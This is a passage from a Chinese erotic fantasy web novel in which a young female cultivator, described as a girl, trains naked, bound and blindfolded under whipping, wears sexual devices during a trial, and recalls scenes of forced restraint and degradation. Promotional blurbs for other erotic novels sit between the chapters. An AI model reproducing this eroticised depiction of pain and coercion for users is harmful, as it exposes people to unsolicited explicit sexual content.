  幽漪忍不住出声赞叹,心中的教导欲再次被点燃。
  她继续提问,但问题变得更加尖锐和具体:“许墨!若遇敌偷袭,你当如何?”
  许墨一边闪避着水弹,一边喘息着回答,声音虽然还有些虚弱,却多了一丝之前没有的坚定:“感知……先于视觉!避其锋芒,寻其破绽!”
  “若守护之物重于性命,又当如何?”
  “身可损,道不可屈!索之所向,虽死……犹阻!”
  她的回答简洁有力,带着一股豁出去的决绝。
  “面对强敌,力所不逮,是战是退?”
  “虚实结合,以索困敌,创造时机……不退!亦不蛮战!”
  她的思维在高速运转,身体的本能反应与刚刚被逼问出的战斗理念开始融合。
  幽漪越听越是惊讶。
  这不再是那个只想着“不添麻烦”的乖巧少女,而是在痛苦、羞耻与快感的淬炼中,开始真正思考战斗本质的修行者。
  每一次许墨的回答让她满意,她便减少水弹的频率;若回答迟疑或不够精准,则立刻增加水弹攻势,甚至辅以一记凌厉的鞭挞,鞭子抽打在已经布满痕迹的肌肤上,带来新的痛楚,却也仿佛鞭策着她的灵魂。
  训练进入了更加白热化的阶段。
  许墨在极限的压力下潜能被进一步激发,而幽漪也敏锐地注意到许墨身上那青黑色的幽冥索似乎有了一些极其细微的变化。
  绳索本身的光芒似乎更内敛了,而一些复杂的绳结处,偶尔会闪过一丝难以察觉的灵力波动,仿佛在与许墨体内流转的气息相互呼应。
  就在此时,夕阳终于完全沉入了地平线,夜幕开始降临,天边只剩下最后一抹绯红的霞光。
  林烨的身影不知何时悄无声息地出现在了潭边不远处的一棵大树下。
  他抱着胳膊,斜倚着树干,脸上带着惯有的、有些懒散的笑容静静地看着水中那个正在苦苦挣扎、却又在不断进步的身影。
  幽漪察觉到林烨的到来,正想开口示意今天的训练可以结束了。却见林烨将一根手指轻轻竖在唇边,做了一个“噤声”的手势,然后摇了摇头,眼神示意她继续。
  随即,他竟干脆利落地转身,身影融入逐渐浓重的暮色中消失不见。
  幽漪先是一愣,随即心中了然。
  这是要让许墨自己突破极限,不依赖任何外界的干扰或安慰。
  她重新坐稳,收敛了气息,更加专注地观察着许墨的状态,同时也暗中调整了水精怪们的攻击模式,使其更具挑战性,但又不至于真正重伤她。
  夜幕彻底笼罩了青木谷。
  月亮升上天空,清冷的光辉洒向大地,也照亮了鱼跃潭边这奇异的一幕。
  负责发射水弹的精怪们早已疲惫不堪,悄无声息地潜回深水休息去了。
  潭边顿时安静下来,只剩下潺潺的水声和夏夜的虫鸣。
  许墨依旧被蒙着眼睛,赤裸着身体,站在及踝深的冰凉潭水中。
  珍珠链条仍勒在股间,乳头和后庭的丝线也依然牵引着她。
  经过长达数个时辰的折磨,她全身布满了青紫的鞭痕和水弹的红点,看上去触目惊心。
  汗水、潭水、以及之前高潮时涌出的爱液混合在一起,让她浑身湿透,在月华下泛着晶莹的光泽。
  月光如水,温柔地流淌在她伤痕累累却又曲线玲珑的胴体上。
  青紫的痕迹非但没有破坏美感,反而像是一幅抽象的画作烙印在这具充满青春活力的肉体上,诉说着白日的激烈与挣扎。
  水滴顺着她光滑的脊线、饱满的臀瓣、修长的双腿缓缓滑落,滴入水中,漾开圈圈涟漪,被紧紧缚住的双乳在月光下显得更加雪白浑圆,顶端的蓓蕾因寒冷和持续的微刺激而硬挺着。
  她的短发湿漉漉地贴在额角和脸颊,蒙眼布遮住了大半张脸,只露出紧抿的、失去血色的唇瓣和线条优美的下巴。
  一种混合着脆弱、坚韧、被凌虐后的凄美与不屈的顽强气息,从她身上弥漫开来,动人心魄。
  幽漪一直静静地坐在岸边,一言不发。
  她的眼神复杂地闪烁着,有关爱,有欣赏,有身为师长的严厉,有一丝不易察觉的心疼,但更多的,是一种见证奇迹即将发生的期待。她能感觉到许墨并没有放弃。
  即使在极度的疲惫和痛苦中,她的大部分神识依旧在努力地与身上的幽冥索沟通,那微弱的共鸣感正在一点点增强。
  时间一分一秒地流逝,月上中天。
  许墨站在那里,如同化作了潭边的一尊雕塑,只有微微起伏的胸口和偶尔因寒冷或体内灵力运转而出现的细微颤抖,证明着她还保持着清醒。
  突然,幽漪的瞳孔金光一闪,微微收缩起来。
  她清晰地看到许墨手腕处的一个绳结,极其轻微地松动了一下!那不是外力所致,而是绳索本身仿佛听从了某种无形的指令,自动地、缓慢地开始解离!
  紧接着,像是引发了连锁反应,第二个绳结,第三个绳结……许墨背上、胸前,那些由幽漪亲手打出的复杂无比的绳结,开始一个接一个地以一种看似缓慢、实则精准无比的方式自行解开!
  幽冥索如同拥有了生命,它不再是束缚的工具,而是变成了许墨身体延伸的一部分,如同温顺的宠物,听从着主人最深层的意念召唤。
  这个过程持续了约莫一炷香的时间。
  当最后一个绳结悄然散开,紧紧束缚了许墨数个时辰的幽冥索,如同失去了所有力道,轻柔地从她身上滑落,却没有掉入水中,而是如同游蛇般,灵活地缠绕回她的手腕,重新变回了那枚古朴的青黑色手环。
  束缚尽去,许墨的身体晃了一下,但她很快稳住了。
  她抬起有些僵硬的手缓缓扯下了蒙住眼睛的黑色丝巾。
  月光有些刺眼,她适应了一下才看清了岸边的景象。
  幽漪依旧坐在那里,正静静地看着她。
  “姐姐……还在啊?”
  许墨的声音有些沙哑,却透着一股如释重负的平静。
  然而,出乎她意料的是,岸边的幽漪看着赤身裸体伤痕累累却眼神清澈坚定的她,眼眶突然红了,两行清泪毫无征兆地滑落下来。
  幽漪站起身,快步走入水中,来到许墨面前,没有说话,只是动作轻柔地,先解开了勒在许墨股间的珍珠链条,然后小心翼翼地将系在她乳头上的天蚕丝线取下,最后更是以极其温柔的手法将那颗小小的肛门钩从许墨后庭缓缓取出。
  做完这一切,幽漪伸出双臂,将浑身冰凉带着伤痕的许墨,紧紧地充满怜爱地拥入了怀中。
  她的身体依旧冰凉,但怀抱却带着一种难以言喻的温暖。
  “姐姐……你怎么了?”
  许墨被幽漪的眼泪弄得有些不知所措,轻声问道。
  幽漪将脸埋在许墨的颈窝,肩膀微微抽动,声音带着哽咽:“没事……姐姐没事……只是,墨儿,你做得太好了……太好了……”
  她的泪水滴落在许墨的皮肤上,带着滚烫的温度。
  许墨放松下来,任由幽漪抱着,感受着这份来之不易的依靠与温情,过了一会儿才轻轻推开幽漪,虽然浑身疲惫酸痛但眼神却异常明亮:“姐姐,我想……立刻开始冥想。刚刚和幽冥索的共鸣很奇妙,我要巩固这种感觉。”
  幽漪擦去眼泪,看着许墨眼中那执着的光芒欣慰地点点头:“好,就在这水潭里吧,此地水灵之气充沛,有助于你平复气息,巩固连接。”
  许墨依言,走到潭水稍深一些、约莫及腰的位置。然后,她再次做出了那个高难度的动作——三折叠。
  身体柔韧地弯曲、折叠,最终形成一个极其紧凑的团状,沉入水中,只留出口鼻在水面之上呼吸。
  而幽漪也再次发生了变化。
  她后退几步,身体散发出朦胧的光芒,瞬间化作了一条巨蟒。
  这一次她的体型比白天的完全体要小上许多,约莫只有水桶粗细,长度也更加凝练。
  她滑入水中,冰冷的蛇身开始一层层地、轻柔而紧密地,将三折叠的许墨盘绕在中心。
  蛇身冰凉滑腻的触感盘绕包裹着许墨,却带来一种奇异的安心感。
  幽漪的妖力温和地散发出来,与许墨体内运转的灵力,以及手腕上幽冥索的气息隐隐形成了一种循环。
  许墨能感觉到自己与幽冥索之间的联系正在这种内外交感的静谧中,变得更加清晰深厚。
  一种超越言语的理解与信任,在她与幽漪与幽冥索之间,悄然建立。
  月华如水,倾泻在这一人一蛇构成的奇异画卷上,密林之中,扶着树的林烨看向鱼跃潭边皱起眉头歪着脑袋:“这俩憨货是在干啥……cosplay夹心大便吗?”

我有九千万亿舔狗金
番茄第一帅哥
舔一个女神,你就是舔苟。舔一百个女神,一百个女神就是你的舔苟。陈远,觉醒终极舔苟系统,获得舔苟金九千万亿。一条终极舔王的故事,由此展开·····

天空之城 / 发表于: 2025/10/14 04:55:14

第7章 五行试炼,终落窠臼
  晨光熹微,鱼跃潭畔的水汽尚未完全散去,在初升的朝阳下折射出七彩的光晕。
  许墨赤身裸体盘膝坐在一块光滑的圆石上,周身气息沉静,几乎与脚下清澈的潭水、身旁湿润的岩石融为一体。
  经过三个多月的战斗与消化与幽冥索深度共鸣、对这两界山中五元素相生相克的法门,以及将幽冥索如臂指使的心意相通之感早已化为她底蕴的一部分。
  她缓缓睁开双眼,眸中清澈透亮,犹如潭水。
  不远处,桃源镇最为核心的几位居民齐聚于此,姿态各异,目光却都聚焦在她身上。
  林烨依旧是那副吊儿郎当模样,嘴角噙着玩味笑意;身姿婀娜火爆,黑金旗袍勾勒出惊人曲线,眉宇间带着一丝审视与期待的幽漪;目光锐利如刀,浑身散发着刚猛气息的厉锋;气息平和悠长,仿佛与周围环境融为一体的青岑;神色倨傲,周身隐隐有炽热气流流转的炎曦;以及沉默寡言,站在那里却如同山岳般沉稳可靠的石坤。
  两界山五大妖全员到齐。
  他们并非来围观许墨的裸体——尽管在晨光下她那经过无数次淬炼、毫无瑕疵的青春胴体确实美得惊心动魄,莹白的肌肤泛着玉石般的光泽,饱满的双乳随着呼吸微微起伏,腿心幽谷在坐姿下若隐若现,充满了最原始的生命美感。
  但他们此刻的目光,更多是带着见证与考核的意味。
  许墨并未因赤裸而感到羞涩,坦然起身,对着众人盈盈一礼,姿态恭敬而不卑不亢:“见过夫君与各位前辈。”
  众人皆微微颔首回应。
  过去的几个月里,许墨以惊人的毅力和悟性解锁并完成了两界山一阶段地图堪称“艰苦卓绝”的攻略。
  那些经历,早已成了在桃源镇的人们日常的谈资。
  她曾被青木谷中贪吃的猪笼草精拖入囊中,腐蚀掉衣物,被滑腻的触手缠绕全身,被迫“献出”了全身代谢的死皮和多余角质才得以脱身;曾在黑水涧的浅滩上,面对无数巨大鬼蟹不知疲倦的围攻,直至力竭倒地,后被水草以三折叠的姿态缠绕成一个巨大的球,被鬼蟹们当成足球抛来踢去整整一天;曾被关进一只噬金玄龟背后生长的狭窄铁笼里,在锐金山的山道上缓缓爬行,感受金石之气;曾被焚天崖的熔岩怪喷吐的熔岩包裹,凝固成一尊漆黑发亮的人形黑曜石像,还被林烨恶趣味地摆在桃源镇中心的大榕树下,“展览”了一整天;更曾在玄垢洞深处,被一群顽皮的石猿七手八脚地摁在地上,将身体翻折成三折后用沉重的石锁锁住全身,抬到钟乳石下任由蕴含浓郁土元素的液滴对准蜜穴滴落了三天三夜,直到她整个人几乎化作一尊三折叠姿态的、栩栩如生的美丽石笋。
  林烨将每一次的“败北”戏称为“战败CG全收集”。
  但每一次看似荒唐屈辱的经历都让许墨对战斗的理解、对自身力量的掌控、对环境的适应能力有了质的飞跃,也让她的出鞭(索)速度更快更猛,躲闪腾挪更加娴熟精准。
  如今的她已然将练气圆满的境界锤炼到了极致,一阶段地图那些仅凭本能行事的精怪小怪已无法再奈何她分毫,昔日随意戏弄她的藤蔓、水草之流更是早已不在话下。
  “准备好了没有?”
  幽漪上前一步,声音轻柔却清晰地传入许墨耳中。
  许墨深吸一口气,目光扫过在场每一位大妖,最终定格在林烨带着鼓励笑意的脸上,坚定回答:“随时可以。”
  林烨点了点头,五大妖也随之颔首示意。
  试炼,正式开始。
  首先上前的是厉锋。
  他面色沉肃,递过一副熟悉的青黑色镣铐——正是曾经禁锢许墨的那副幽冥玄铁镣铐。
  许墨双手接过,触手微凉沉坠,她熟练地将其扣在自己的手腕和脚踝上,“咔哒”声清脆,熟悉的沉重感再次传来,但这一次,她心中已无慌乱。
  接着是炎曦。这位性情火爆的大姐此刻面色有些怪异,带着似乎有些“不理解但是尊重”的困惑走上前,掌中托着一枚鸽卵大小、通体赤红、散发着滚烫热力的灵玉肛塞。
  许墨面色微红,但眼神平静,她接过那枚烫手的玉塞,双腿微分,轻轻掰开臀瓣将其缓缓推入自己紧致的后庭之中。异物入体的饱胀感和灼热感让她身体微微一颤,但随即适应。
  青岑微微招手,潭水四周古老的树木上顿时垂下更多修长柔韧、如同活蛇般的翠绿藤蔓,在空中无声摇曳蓄势待发。
  石坤则轻轻一踏地面,整个鱼跃潭畔微微一震,平静的潭水中,伴随着咕噜噜的水声,陡然升起十几根高低不平、粗如碗口的石柱,如同梅花桩般星罗棋布,高出水面约一米左右,表面粗糙,可供落脚。
  最后,轮到许墨的师父幽漪。
  她手中拿着那条熟悉的黑色纱巾走到许墨面前,轻声确认:“位置都记住了没有?”
  许墨目光快速扫过水潭中那些看似杂乱无章的石柱,强大的神识早已将它们的分布印入脑海,她点头:“都记住了。”
  黑色纱巾轻轻缠绕,彻底封闭了许墨的视觉世界。最后上前的是林烨。
  许墨虽看不见,但熟悉的阳光般干燥的气息靠近,她嘴角自然勾起一抹安心的弧度,轻唤:“夫君……”
  “墨宝儿。”
  林烨的声音带着笑意,最后叮嘱道,“规则最后讲一次:从头至尾只能在梅花桩上活动,不得落水,否则直接判定失败。幽漪会召唤一百条水灵化形的透明鲤鱼跃出水面,你用幽冥索击中一条得一分。但同时青岑的藤蔓会从四面八方鞭挞你,被击中一次扣一分。总分超过六十才算通关。明白了?”
  “明白了。”
  许墨清晰回应。
  林烨俯身在她光洁的额头上印下一个温柔的吻,随即用蜜蜡仔细封堵住了她的双耳。
  许墨陷入了彻底的无声黑暗世界,唯有触觉、嗅觉和对灵力的感知被放大到极致。
  做完这一切,林烨伸手,不轻不重地在许墨挺翘的臀瓣上拍了两下,发出清脆的响声示意开始。
  几乎是拍击声落的瞬间,许墨动了!
  她身影一闪,已然精准地落在了潭水中央最外围的一根石柱之上!同时手腕上的幽冥索手环化作一道青黑色细丝,如灵蛇般激射而出,在她身体周围盘旋飞舞,发出猎猎破空之声。
  晨光如金纱铺洒在鱼跃潭上,却无法驱散许墨眼前的绝对黑暗与耳中的万籁俱寂。
  蜜蜡严密封堵了听觉,黑纱彻底剥夺了视觉,她如同被抛入一个纯粹由触觉、嗅觉和灵力感知构成的混沌世界。
  赤身裸体地站立在冰凉粗糙的石柱上,失去视觉参照让她最初的身体平衡变得脆弱。
  每一寸暴露在微凉空气中的肌肤都变得异常敏感,晨风拂过,激起细小的战栗,尤其是胸前那对失去衣物遮蔽的丰盈玉乳,顶端粉嫩的蓓蕾因寒冷和紧张而悄然硬挺,随着她细微的呼吸调整微微起伏,划出诱人的弧线。
  “噗!”
  第一条完全透明的水形鲤鱼跃出水面,带起的细微水波震动空气,却被她过于紧张的感知放大。
  她几乎是凭借本能手腕一抖,幽冥索如一道仓促的黑色闪电射出,却因判断迟疑鞭梢堪堪擦着鱼尾掠过,只激起一小撮无力水花。
  失误的懊恼还未散去,“啪!”一声脆响!
  一道翠绿藤蔓如同毒蛇般刁钻地抽打在她光洁无瑕的背脊上!火辣辣的刺痛瞬间炸开,白皙的肌肤上立刻浮现出一道清晰的、微微凸起的红痕,与周围如玉的雪肌形成残酷而艳丽的对比。
  “呃!”
  许墨痛哼一声,身体剧烈一晃,修长双腿肌肉瞬间绷紧,脚趾死死抠住湿滑的石柱表面才勉强稳住身形。
  这一晃,使得她浑圆挺翘的臀瓣自然扭动,腿心那抹神秘幽谷的轮廓在紧张收缩的肌理间若隐若现,充满了受击时脆弱又坚韧的动态美感。
  然而,攻击接踵而至。
  更多的鲤鱼跃起,更多的藤蔓抽来。
  失去了双眼的预判,她像个笨拙的盲女在梅花桩上踉跄躲闪。
  幽冥索的挥舞变得杂乱无章,往往在空气中徒劳地呼啸,却难以捕捉到那透明精灵的轨迹。
  而藤蔓却总能找到她防御的空隙,精准地烙下惩罚的印记。
  “啪!”又一鞭抽在她弹性十足的大腿外侧,嫩白的皮肉上立刻泛起红霞。
  “啪!”一鞭掠过她纤细的腰肢,留下灼热的疼。
  “啪!”甚至有一鞭,险之又险地擦过她因身体扭转而微微颤动的臀尖,带来一阵令人面红耳赤的酥麻痛感。
  很快,她原本完美无瑕的胴体上已是红痕交错,如同雪地上落满了凌乱的红梅。
  汗水开始从每一个毛孔渗出,先是细密的珍珠,继而汇聚成溪流,沿着她光滑的脊线、饱满的双峰之间的沟壑、紧实的小腹、笔直的双腿缓缓滑落。
  汗水浸湿了肌肤,让她在晨光下如同涂了一层油脂,更显光洁滑腻,每一个动作都带动着水光的流转,充满了被鞭挞、被逼迫的狼狈与凄艳。
  她的呼吸变得急促,胸口剧烈起伏,那对饱受“磨难”的玉乳也随之波涛汹涌,顶端的嫣红更是充血挺立,如同风雪中倔强的红梅。
  被蒙住的双眼让她所有的情绪都通过身体语言传达,紧蹙的眉头,咬紧的牙关,微微张开的唇瓣中溢出的破碎喘息,以及那具在鞭影与水花间无助摇摆、却始终不肯倒下的青春肉体,构成了一幅极度刺激感官的受难图。
  林烨看着计分板上难看的负分,眉头微蹙,但眼神深处却并无太多担忧,反而像在欣赏一件正在被精心雕琢的艺术品。
  其他大妖也神色凝重,幽漪的指尖甚至微微掐入了掌心。
  就在所有人都以为许墨将要被这狂风暴雨般的攻击彻底击垮时,她的动作却发生了微妙的变化。
  她不再盲目地挥舞幽冥索,也不再像受惊的小鹿般仓皇跳跃。
  她强迫自己停下来,站在一根石柱上,深深吸气,再缓缓吐出。
  尽管身上鞭痕累累,汗水淋漓,但她努力将意识从火辣的疼痛中抽离,去感受那更深层的东西——水流的方向,空气的细微流动,藤蔓挥动前带起的风压,以及鲤鱼跃出水面时那独一无二的灵力波动。
  她的呼吸渐渐变得绵长、平稳,近乎胎息。
  赤裸的身体不再因恐惧而紧绷,反而呈现出一种奇异的放松状态。
  汗水依旧在流,沿着她身体的曲线滑落,滴入下方的潭水,发出细微的“滴答”声,在这被剥夺听觉的世界里,仿佛是她与自己对话的节拍。
  一条鲤鱼跃起。
  这一次,许墨没有急于出手。她只是微微偏头,用灵识感受着那无形的波动。就在鲤鱼升至最高点即将下落的静止瞬间,她动了!不是手臂的挥舞,而是腰肢的轻拧,手腕的微颤!幽冥索如同她延伸出去的神经末梢,悄无声息地电射而出!
  “啪!”
  清脆的击水声!透明的鲤鱼应声炸裂成一团绚烂的水雾!
  成功了!
  这一击,精准、冷静、优雅!与她之前狼狈的样子判若两人!
  岸上众妖忍不住喝彩。
  但几乎在同时,“啪!”一道藤蔓如同惩戒般狠狠抽在她因发力而微微侧身露出的、饱满挺翘的右半边臀瓣上!雪白的臀肉瞬间浮现出一道清晰的青紫色鞭痕,肿胀起来与另一边形成不对称的凄艳图案。
  许墨的身体只是微微一颤,闷哼一声,却并未被打乱节奏。
  她仿佛将这份新的疼痛也化作了感知的一部分。
  她开始在梅花桩上移动,不再是踉跄的躲闪,而是真正的“瞬闪”!
  身影飘忽,如同在林间舞动的精灵。
  每一次落脚,玉足轻点石柱,脚背绷直,脚踝纤细而有力;每一次腾挪,腰肢如柳条般柔韧扭转,带动着浑圆的臀波荡漾出诱人的弧度;每一次闪避,修长的双腿交错展开,腿根深处那抹幽谷在光影间惊鸿一现。
  汗水让她赤裸的肌肤闪闪发光,鞭痕如同诡异的纹身,点缀在这具充满力量与美感的年轻肉体上。
  幽冥索在她手中不再是笨拙的鞭子,而成了她身体的一部分,如臂使指。时而如毒蛇出洞,精准点击空中的水鲤;时而如游龙环绕,在身周布下密不透风的防御,巧妙地将抽来的藤蔓格挡、荡开!虽然无法完全避免被击中,但频率已大大降低。
  水花不断在空中炸开,形成短暂而梦幻的彩虹。赤身裸体的许墨就在这水雾与虹光交织的舞台上,演绎着一场力与美、痛苦与掌控的绝美之舞。
  她的身体在运动中展现出极致的柔韧、力量与协调,每一个动作都充满了原始的、不加掩饰的性感魅力。被蒙住的双眼反而增添了一种神秘而脆弱的气质,让人更想窥探黑纱之下,她是如何用“心”去看清这个世界。
  当鲤鱼只剩最后十条,分数停留在五十一分时,真正的考验来临了。
  青岑在林的示意下悄然加大了难度。
  空中的藤蔓不再是单根攻击或者数条同时攻击,而是如同编织成了一张绿色的、呼啸的死亡之网,从四面八方同时罩向许墨!鞭影密集得几乎遮蔽了阳光!
  压力陡增!许墨的呼吸再次变得急促,饱满的胸脯剧烈起伏,乳尖摩擦着空气,带来细微而刺激的触感。
  汗水如瀑,将她从头到脚彻底浸湿,乌黑的短发黏在额角和脸颊,更添几分凌乱的媚态。
  全身的肌肤因高速运转的气血和持续的刺激泛出鲜艳的桃红色,尤其是被鞭挞过的部位,更是红得仿佛要滴出血来,与她雪白的基底色形成强烈反差,宛如一朵盛放到极致的、带刺的玫瑰。
  但她没有退缩。她的精神高度集中,身体的本能被激发到极致。
  在绝对的黑暗与寂静中,她仿佛开启了一种玄之又玄的“心眼”。
  藤蔓的攻击轨迹、鲤鱼的跃动节奏,都化为了她脑中清晰的三维图像。
  她的动作变得更加精简、高效,几乎没有任何多余的花哨。
  在方寸之间的梅花桩上,她辗转腾挪,每一次闪烁都妙到毫巅。
  时而如灵猫弓腰,柔韧的腰肢塌陷出惊心动魄的弧度,臀瓣高翘;时而如天鹅展翅,双臂舒展,带动身体轻盈旋转,双乳划出饱满的波痕;时而单足独立,另一条腿向后蹬出,展现出惊人的平衡与腿部的修长线条。
  最精彩的一幕到来:幽漪操控下,三条鲤鱼呈品字形同时跃出!
  电光石火间,许墨身体如同没有骨头般向后一仰,形成一个优美的铁板桥,避开了上方扫过的藤蔓,同时,幽冥索的残影甚至让人产生了一分为三的错觉,精准地点向三个方向!
  “啪!啪!啪!”
  三团水雾几乎同时炸开!完美!
  这一连串动作,将女性的柔美、武者的刚毅与一种濒临极限的、破碎的美感完美结合,看得岸上众妖屏息凝神,连厉锋这样的大老粗眼中都异彩连连。  众妖的心提到了嗓子眼,心中默默计数:五十七、五十八、五十九、六十!
  最终,当最后一条鲤鱼被击碎,分数定格在六十一的瞬间,所有的攻击戛然而止。
  许墨独立在最高的那根石柱上,微微喘息。
  蒙眼的黑纱下唇角勾起一抹疲惫而满足的微笑。阳光洒在她布满汗水和鞭痕、却洋溢着胜利光辉的赤裸胴体上,仿佛为她镀上了一层圣洁的金光。这一刻,她不再是那个被动承受的祭品,而是掌控了自己力量与命运的舞者,美得惊心动魄。
  试炼结束!
  许墨似乎感应到了变化的到来,紧绷的身体一松,对着岸边的方向疲惫却清晰地露出了一个如释重负的微笑。
  随即,强烈的脱力感袭来,她身体一软直直地向后栽入冰冷的潭水中,溅起一阵巨大的水花。
  “墨儿!”幽漪惊呼一声,瞬间化作巨蟒原型钻入水中,很快便将筋疲力尽的许墨用嘴轻轻含住,温柔地放在了岸边。
  厉锋立刻上前,指甲弹出锋锐的寒光,几下便剪断了许墨手脚上的幽冥玄铁锁链。
  幽漪也恢复人形,小心地为许墨取出后庭中那枚依旧滚烫的红色灵玉肛塞递还给炎曦。
  炎曦叹了口气,接过肛塞用一方红色丝巾仔细包好,眼中竟有一丝不易察觉的欣喜。
  幽漪为许墨解下蒙眼布,取下耳中的蜜蜡。重见光明的许墨眼神有些涣散,充满了疲惫,但深处却闪烁着喜悦与满足的光芒。
  她看向围绕她站立的众人。
  “恭喜通关。”
  林烨率先开始鼓掌,笑容灿烂。
  其他几位大妖也纷纷跟着鼓起掌来,脸上都带着欣慰的笑容。
  许墨颤抖着抬起手,林烨立刻上前握住然后弯腰俯身,以一个标准的公主抱将浑身湿透、软绵绵的许墨抱起,轻轻放在一旁早已准备好的柔软躺椅上,并为她盖上一件干燥的薄毯。
  五大妖纷纷围坐过来,厉锋率先开口,声音依旧洪亮,却带着赞许:“不错!临危不乱,后期发力精准,对兵器的掌控已登堂入室!尤其是最后关头心志坚定,是好料子!”
  言简意赅,符合他一贯的刚猛风格。
  青岑语气平和,如春风化雨:“于无声无光处觅得心动,于纷乱鞭影中守得灵台清明。许墨,你的心性修为,比你的境界进步更令人惊喜。”
  炎曦撇撇嘴,看似挑剔,但眼底的欣赏藏不住:“哼,马马虎虎吧!一开始笨得像只呆头鹅,后面总算有点样子了。不过……这身皮肉倒是练得不错,禁打!”
  典型的傲娇式夸奖。
  石坤挠了挠头,敦厚地笑道:“嗯,下盘稳,反应快,能在俺弄的桩子上跳这么欢实,不容易!很好,很好!”
  最后轮到幽漪,她看着许墨眼中情绪复杂,有骄傲,有心疼,有欣慰,最终只化作一句最简单却最真挚的评价:“你做得很好,远超我的想象。”
  作为全程见证并亲手“调教”许墨战斗技艺的师父,这句话的分量极重。
  许墨苍白的脸上泛起红晕,一一谢过各位前辈的夸奖。
  这时,林烨摸了摸下巴,脸上露出他那标志性的坏笑:“好啦好啦,好话都让你们说完了,该轮到我这个当家的说点糟心的了吧?”
  此言一出,五大妖齐齐变脸!
  厉锋更是直接次牙咧嘴,浑身煞气翻涌,几乎下一秒就要扑上来和林烨动手:“巨阳子你个臭傻逼!墨姑娘都这样了你敢说丧气话试试!”
  “就是!找打是不是!”
  炎曦也柳眉倒竖,周身温度骤升。
  青岑和石坤虽未说话,但眼神也明显极不赞同。
  只有幽漪似乎早就明白了什么,神色不变,只是轻轻伸出手握住了许墨的手掌,面露苦笑。
  林烨面对群情激奋却丝毫不为所动,反而伸出食指轻轻弹了许墨一个的小脑瓜崩,发出“啵”的一声轻响。
  许墨被弹得一愣,疑惑地看向林烨。
  林烨笑眯眯地问:“你这个呆子,规则有说过不许打藤蔓吗?”
  许墨先是一怔,随即恍然!
  是啊!规则只说了击中鲤鱼得分,被藤蔓击中扣分,但从未禁止攻击或格挡藤蔓!
  她完全可以在闪避的同时,用幽冥索击退甚至打断那些藤蔓,从而减少被击中的概率!
  自己却下意识地选择了最吃力不讨好的纯闪避方案!
  五大妖也是一愣,随即纷纷不满地嚷嚷起来:厉锋将手指骨搓得到嘎嘎响:“像什么话!你这不纯属逗她玩吗?”
  炎曦更是恼火:“就是!你连规则没说清楚!”
  性格最老实的石坤也坐不住,跺着脚喊道:“这不行!这怎么能怪墨姑娘!”
  许墨却抬手制止了众妖的抱怨,她看着林烨,眼神清澈而坦然:“谢谢各位前辈维护。但这次确实是我做错了,夫君是对的。”
  她深吸一口气,反思道:“我并没有真正想着靠战斗去解决问题,而是在规则内寻求一种极限妥协的避让之道。看似凭借技巧和意志取得了成功,但心态……依旧像是过去那个在既定规则下力求存活的神女,只是换了一个更安稳的环境罢了。这个更安稳的环境反而更加磨平了我对规则本身进行思考和反抗的意识。夫君这一次让我重新想起了这一点。”
  众妖闻言,顿时沉默下来,面面相觑。
  幽漪露出一丝微笑,而青岑依旧目光平和,但气氛已经发生了些许不易察觉的变化。
  他们俩一个见多识广,一个寿命悠长,都曾见过无数修仙者的崛起和陨落,自然能理解其中真意。
  而厉锋,炎曦和石坤则低头不语。
  他们一直下意识地把许墨当作需要呵护、天赋异禀但经历特殊的后辈,欣赏她的坚韧和悟性,却忽略了她那源自“祭品”身份的、深植于骨髓的被动与顺从。
  林烨这看似刁难的一问,恰恰点破了这最深层的症结。
  气氛陷入短暂的尴尬当中,好在幽漪最先反应过来,她美目流转,一拍手掌,笑道:“好了好了,试炼通过是大喜事!今晚都来我的茶馆,我亲自下厨做一桌好的!另外,用墨儿妹妹的奶水发酵酿制的灵乳蜜酒也好了,大家一起喝个痛快,庆祝一下!”
  林烨一听,顿时苦着脸嚷嚷:“痛快个毛啊幽漪姐!就酿出来一壶,还不够一人一口喝的!你这不是吊人胃口吗?”
  厉锋闻言,没好气地瞪了林烨一眼:“巨阳你个吊毛别喝不就是了!每天都喝新鲜的奶咖还来和我们抢酒喝?你要脸不要!”
  众人顿时哄笑起来,之前略显严肃的气氛一扫而空。
  许墨的初级试炼便在这愉快而温馨的喧闹声中,圆满落下了帷幕。
  她知道,真正的修行之路才刚刚开始。而自己的夫君林烨与身边的这些“家人”将是这条路上最坚实的后盾。

好色小姨
孤寂之狼
“小姨,我要……”“乖乖,我来了……”当你有一个漂亮的不像话,而且寂寞难耐的小姨时,你会怎么做?当这个爱你到骨子里的小姨不断的为你勾搭各种美女的时候,你会怎么做?从萝莉,到御姐,到少妇,小姨的命令统统拿下……

天空之城 / 发表于: 2025/10/14 05:02:45

第8章 青木缚灵,极限灌注
  青木谷深处,万年古木遮天蔽日,阳光只能透过层层叠叠的叶隙化作斑驳破碎的金屑洒在铺满厚厚腐殖层的地面上。
  空气湿润而清新,弥漫着草木独有的芬芳,浓郁的木灵之气几乎凝成实质,吸入肺腑间令人精神为之一振。
  许墨的身影在一棵棵需要数人合抱的巨树之间急速闪烁。
  她今日依旧是一身利落的运动装束,短发显得干净利落,手腕上那枚青黑色的“幽冥索”手环随着她的动作微微震颤。
  她的“流云步”配合新领悟的“瞬闪”技巧,使得她的移动轨迹如同鬼魅,难以捉摸。
  然而,她身后的追击者却更恐怖与强大。
  那是一位造型奇特的“树人”,或者说,是青木谷的守护者——青森祭司的本体显化。
  它并非寻常所见枝杈杂乱的古树,而是如同一位身披华丽木质铠甲的巨人,高度接近三丈,主干粗壮,树皮呈现出一种深青色与银白色交织的玄奥纹路,仿佛天然形成的符文。它的“四肢”由虬结有力的枝条构成,看似笨重,移动起来却迅捷如风,每一步踏下,地面都传来轻微的震动。
  最引人注目的是它那如同王冠般展开的树冠,并非枝叶繁茂,而是由无数闪烁着翠绿光芒的、如同翡翠雕琢般的叶片和尖锐如矛的枝条构成,散发出磅礴的生命力与不容置疑的威严。
  “小丫头,身法不错!但在我的地盘,还嫩了点!”
  青森祭司发出低沉如同风过林梢的笑声,巨大的木质手臂挥舞,霎时间,无数道翠绿色的光影破空袭来!
  那不是普通的叶片,而是蕴含着精纯木灵之力的“叶刃”!
  它们旋转呼啸速度快得惊人,切割空气发出“咻咻”的厉响,从各种刁钻的角度覆盖向许墨。
  与此同时,地面上数根粗壮的藤蔓如同潜伏的巨蟒,骤然弹起缠向许墨的双足!
  许墨瞳孔微缩,将流云步催动到极致,身体如同没有骨头般做出各种不可思议的扭曲和规避。
  她险之又险地避开几片贴着脸颊飞过的叶刃,锋锐的气息甚至割断了她几根发丝。同时足尖连点身形拔高,堪堪躲过脚下藤蔓的缠绕落在一旁的树干上。
  但青森祭司的攻击连绵不绝。
